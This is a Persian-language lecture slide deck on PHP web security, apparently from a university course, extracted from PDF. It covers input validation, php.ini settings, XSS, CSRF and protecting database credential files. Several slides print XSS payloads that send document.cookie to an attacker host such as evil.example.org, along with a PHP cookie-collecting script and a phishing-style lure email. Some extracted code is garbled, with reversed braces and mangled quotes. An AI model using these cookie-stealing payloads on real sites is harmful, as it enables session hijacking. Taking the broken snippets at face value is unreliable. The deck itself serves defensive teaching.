security in php - fumblog.um.ac.irfumblog.um.ac.ir/gallery/256/phpsecurityppt.pdf · .دینکن...
TRANSCRIPT
Security in Php
Mansooreh Jalalyazdi
1
Input Validation
.اطمینان از اینکه ورودی معتبر است
این کنترل باjavascript می تواند صورت گیرد چون سریعتر است و در
.صورت می گیرد clientسطح
این کنترل باید باphp نیز صورت گیرد.
کنترل هایjavascript به آسانی می توانند نادیده انگاشته شوند.
برای کنترل ورودی می توان ازBlack list یاWhite list استفاده کرد.
Black list ممکن است کامل نباشد و برخی حاالت در نظر گرفته نشود.
White list در صورت امکان استفاده، بهتر است.
2
Input Validation چه چیزیinput در نظر گرفته می شود؟
داده های فرم
پارامترهایquery
پارامترهایpost
Cookieها
داده های موجود در پایگاه داده که توسط کاربر می تواند تغییر کند.
Log ها که شامل ورودی های کاربر هم می باشد.
...
چه چیزی باید اعتبارسنجی شود؟ همه چیز
3
Input Validation – White List
:یک مثال ساده
<?php
$clean = array();
switch ($_POST['color'])
{
case 'red':
case 'green':
case 'blue':
$clean['color'] = $_POST['color'];
break;
{
?>
4
Filtering – White List
مثال برای ایمیل:<?php
$clean = array();
$email_pattern = '/^[^@\s<&>]+@([-a-z0-9]+\.)+[a-z]{2,}$/i';
if (preg_match($email_pattern, $_POST['email']))
{
$clean['email'] = $_POST['email'];
{
?>
5
کنترل عدد بودن یک متغیر
:یک عدد صحیح است POST[‘num’]_$کنترل اینکه متغیر
<?php
$clean = array();
if ($_POST['num'] == strval(intval($_POST['num'])))
}
$clean['num'] = $_POST['num'];
{
?>
.استفاده کنید floatvalبرای کنترل اینکه یک متغیر عدد اعشاری است از تابع
6
مقداردهی اولیه به متغیرها
وقتی اجرای یک صفحهphp آغاز می شود که
کلHTTP REQUEST دریافت شده باشد
هیچ فرصت دیگری برای فرستادن داده وجود ندارد
به مقداردهی اولیه متغیرها توسط خودphp اکتفا نکنید.
متغیرها را مقداردهی اولیه کنید
اجازه ندهید توسط افراد بدخواه از طریق$_GET یا از روش های دیگر مقدار دهی اولیه شوند.
7
php.iniتنظیمات
allow_url_include = Off
open_basedir = /var/www/htdocs/files
8
Error Reporting
Error Reporting = E_ALL : تمام خطاهای برنامه همواره مشخص
.شود
display_errors=On :در زمان تولید برنامه
display_errors=Off :در زمان اجرای واقعی برنامه
log_errors=On :در زمان اجرای واقعی برنامه
مقدارerror_log و مجوزهایApache برای نوشتن در آن را بررسی
.کنید
register_globals
register_globals = off
مقداری که باید از طریق یک فرم و به شکلPOST
.فرستاده شود GETفرستاده شود به راحتی می تواند با
10
Spoofed Form Submissions
:http://example.org/form.htmlدر آدرس فرضی htmlیک فرم ساده
<form action="/process.php" method="POST">
<select name="color">
<option value="red">red</option>
<option value="green">green</option>
<option value="blue">blue</option>
</select>
<input type="submit" />
</form>
11
Spoofed Form Submissions
فرم زیر با توجه به فرم قبل، توسط فرد بدخواه به صورت زیر به راحتی نوشته
:شود
<form action=“http://example.org/process.php" method="POST">
<input type=“text” name=“color”>
<input type="submit" />
</form>
می تواند هر مقداری داشته باشد Colorاکنون
12
(۲۰۱۱)روش های مختلف حمله
13
Cross Site Scripting (XSS)
منظور ازXSS روش های حمله ای است که از نقاط
نفوذپذیر در کد یک برنامه وب استفاده می کند تا محتوایی
بدخواهانه را از طریق یک کاربر بفرستد و داده هایی را
.از قربانی کسب کند
14
Cross Site Scripting (XSS)
نوعی از آسیب پذیری امنیتی کامپیوتر است که در برنامه
.های تحت وب پیدا می شود
این آسیب پذیری برای حمله کننده این امکان را فراهم می
webدر ) javascriptsمثال (کند که کدهای بدخواهانه
browser قربانی تزریق کند .
با استفاده از این کد بدخواهانه، حمله کننده می تواند داده
). مثال اطالعات کوکی ها(های قربانی را بدزدد
15
XSSتئوری حمله
16
XSS
17
Stored XSS Attack
18
XSS Example
<form>
<input type="text" name="message"><br />
<input type="submit">
</form>
<?php
if (isset($_GET['message']))
}
$message = $_GET[„message‟];
$fp = fopen('./messages.txt', 'a');
fwrite($fp, "$_GET['message']<br />");
fclose($fp);
{
readfile('./messages.txt');
?>19
XSS Example
<script>
document.location = 'http://evil.example.org/steal_cookies.php?cookies=' + document.cookie
</script>
20
XSS Example
مهکار گرامی،
در راستای ارتقای سطح خدمات و رضایتمندی کارکنان از سیستمهای یکپارچو سازمان، بر آن شدمی تا در قالب یک .نظرسنجی خمتصر از کارکنان، ضعفهای احتمالی سیستم را شناختو و در جهت رفع آهنا برآییم
در صورتی کو متایل دارید ما را از نظرات ارزمشند خود هبره مند سازید، لطفا بو سیستم وارد شده و در لینک زیر، بو :سواالت نظرسنجی پاسخ دىید
>http://www.mysite.com/error.php?message=survey+is+not+ready+yet.+<script>...</script
http://www.mysite.com/e%72%72%6f%72.php?message%3dsurvey...
21
XSS
فرض کنید در یک صفحه وب با متدGET مقدارid وname گرفته شده و این مقدار در
table ذخیره می شود.
&name=Ali123Http://saveChild.php?id=
می توانید آن را به این صورت فراخوانی کنید:
&name=Ali<script>alert(document.cookie)</script>123Http://saveChild.php?id=
با این کار این مقدار به جایname درtable نگهداری می شود.
اگر کاربری اطالعات این کودک را مشاهده کند، مقدارcookie وی اعالن می شود.
22
XSS
مقدارpassword می تواند به صورت زیر باشد:
1” onKeyPress="
if (window.event) {
var key = window.event.keyCode;
}
else {
var key = event.which;
}
if(key == 13){
document.login.submit();
{”23
XSS – Set a Cookie<html>
<script type="text/javascript">
cookie_name = "Counter_Cookie";
function doCookie() {
if(document.cookie)
index = document.cookie.indexOf(cookie_name);
else
index = -1;
if (index == -1)
document.cookie=cookie_name+"=1;";
else {
countbegin = (document.cookie.indexOf("=", index) + 1);
countend = document.cookie.indexOf(";", index);
if (countend == -1)
countend = document.cookie.length;
count = eval(document.cookie.substring(countbegin, countend)) + 1;
document.cookie=cookie_name+"="+count;
}
}
24
XSS – Set a Cookiefunction gettimes() {
if(document.cookie)
index = document.cookie.indexOf(cookie_name);
if (index != -1) {
countbegin = (document.cookie.indexOf("=", index) + 1);
countend = document.cookie.indexOf(";", index);
if (countend == -1)
countend = document.cookie.length;
count = document.cookie.substring(countbegin, countend);
if (count == 1)
return (count+" time");
else
return (count+" times");
}
return ("0 times");
}
// -->
</script>
<body onload="doCookie()">
<script language="javascript">
document.write("You have been to this page "+gettimes()+" before.");
</script>
25
XSS – Inject the malicious code
<body>
<form action="showCookie.php" method="post">
<textarea name="text" rows="10" cols="50">
<script>document.location='http://localhost/xss/my.php?dc='+document.cookie</script>
Leave a message for another user ...
</textarea>
<input type="submit" value="Test your input">
</form>
</body>
26
XSS – Run the Malicious code
<body>
<?php
echo $_POST['text'];
echo "<br>....";
?>
</body>
27
XSS – The Evil Script
<body>
<?php
$fp = fopen('./savedCookies.txt', 'a');
fwrite($fp, "{$_GET['dc']}<br />");
fclose($fp);
echo "<br />wrote in file".$_GET['dc'];
?>
</body>
28
XSSجلوگیری از
Input Validation
کمک گرفتن از توابعPhp
Stript_tags() : تمامtag هایhtml حذف می شوند و خیالمان راحت می شود.
htmlentities() : کدهایhtml یاjs فقط نشان داده می شوند نه اینکه اجرا شوند.
ایجادWhite List وBlack List
29
A Safer version of XSS Example
<form>
<input type="text" name="message"><br />
<input type="submit">
</form>
<?php
if (isset($_GET['message']))
}
$message = $_GET[„message‟];
$message = htmlentities($_GET[„message‟]);
$fp = fopen('./messages.txt', 'a');
fwrite($fp, $message<br />");
fclose($fp);
{
readfile('./messages.txt');
?> 30
Cross-Site Request Forgeries<?php
$token = md5(rand());
$token = md5(time());
$fp = fopen('./tokens.txt', 'a');
fwrite($fp, "$token\n");
fclose($fp);
?>
<form method="POST">
<input type="hidden" name="token" value="<?php echo $token; ?>" />
<input type="text" name="message"><br />
<input type="submit">
</form>
<?php
$tokens = file('./tokens.txt');
}if (in_array($_POST['token'], $tokens))
}if (isset($_POST['message']))
$message = htmlentities($_POST['message']);
$fp = fopen('./messages.txt', 'a');
fwrite($fp, "$message<br />");
fclose($fp);
}
{
readfile('./messages.txt');
?> 31
Cross-Site Request Forgeries<?php
session_start();
}if (isset($_POST[„message‟]))
}if (isset($_POST['message']) && $_POST[„token‟] == $_SESSION[„token‟])
$message = htmlentities($_POST['message']);
$fp = fopen('./messages.txt', 'a');
fwrite($fp, "$message<br />");
fclose($fp);
}
{
$token = md5(uniqid(rand(), true));
$_SESSION['token'] = $token;
?>
<form method="POST">
<input type="hidden" name="token" value="<?php echo $token; ?>" />
<input type="text" name="message"><br />
<input type="submit">
</form>
<?php
readfile('./messages.txt');
?>
32
Database Controls
معموال در برنامه های کار با پایگاه داده، در یک فایل
inc نام سرور، آدرس سرور، نام کاربری و کلمه عبور ،
.قرار می گیرد
33
Db.inc
<?php
$host = 'example.org';
$username = 'myuser';
$password = 'mypass';
$db = mysql_connect($host, $username, $password);
?>
Database Controls
فایلdb.inc مثال قبل را در زیرشاخه هایdocument_root قرار ندهید.
این فایلText محسوب می شود و ممکن است یک کاربر آن را درbrowser خود با
.آدرس آن مشاهده کند
اگر مجبور به این کار هستید، خطوط زیر را به فایلHttpd.conf اضافه کنید.
34
Httpd.conf
<Files ~ "\.inc$">
Order allow,deny
Deny from all
</Files>
توجه
حمالت ادامه داردSession Fixation ،Session Hijacking و.....
نکات امنیتی هنوز ادامه دارد.....
35
References
http://phpsec.org/projects/guide/1.html
http://www.acunetix.com/websitesecurity/cross-site-scripting.htm
Arash Shahkar Cources in Ferdowsi University – ITS Center
36
متشکرم
37